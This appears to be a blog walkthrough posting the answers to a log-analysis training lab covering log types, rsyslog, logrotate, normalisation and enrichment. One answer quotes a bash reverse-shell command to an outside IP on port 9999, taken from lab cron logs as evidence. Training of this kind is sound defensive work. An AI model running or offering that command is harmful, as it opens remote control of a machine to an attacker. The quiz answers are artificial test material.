Learn the fundamentals of logging, data sources, collection methods and principles to step into the log analysis world.
Lab link.
Task 2: Expanding Perspectives: Logs as Evidence of Historical Activity
2.1. What is the name of your colleague who left a note on your Desktop?
Perry
2.2. What is the full path to the suggested log file for initial investigation?
/var/log/gitlab/nginx/access.log
Task 3: Types, Formats, and Standards
3.1. Based on the list of log types in this task, what log type is used by the log file specified in the note from Task 2?
Web Server Log
3.2. Based on the list of log formats in this task, what log format is used by the log file specified in the note from Task 2?
Combined
Task 4: Collection, Management, and Centralisation
You can check if rsyslog is installed:
To create the configuration file:
Save and Close the Configuration File. Apply the changes by restarting rsyslog with the command:
4.1. After configuring rsyslog for sshd, what username repeatedly appears in the sshd logs at /var/log/websrv-02/rsyslog_sshd.log, indicating failed login attempts or brute forcing?
stansimon
4.2. What is the IP address of SIEM-02 based on the rsyslog configuration file /etc/rsyslog.d/99-websrv-02-cron.conf, which is used to monitor cron messages?
10.10.10.101
4.3. Based on the generated logs in /var/log/websrv-02/rsyslog_cron.log, what command is being executed by the root user?
/bin/bash -c “/bin/bash -i >& /dev/tcp/34.253.159.159/9999 0>&1”
Task 5: Storage, Retention, and Deletion
5.1. Based on the logrotate configuration /etc/logrotate.d/99-websrv-02_cron.conf, how many versions of old compressed log file copies will be kept?
24
5.2. Based on the logrotate configuration /etc/logrotate.d/99-websrv-02_cron.conf, what is the log rotation frequency?
hourly
Task 6: Hands-on Exercise: Log analysis process, tools, and techniques
6.1. Upon accessing the log viewer URL for unparsed raw log files, what error does “/var/log/websrv-02/rsyslog_cron.log” show when selecting the different filters?
No date field
6.2. What is the process of standardising parsed data into a more easily readable and query-able format?
Normalisation
6.3. What is the process of consolidating normalised logs to enhance the analysis of activities related to a specific IP address?
Enrichment
Hello, I am Aleyna Doğan. I work as a Sr. Cyber Threat Intelligence Analyst. In my blog, we write blog posts that my friends and I want to share. Have a good read.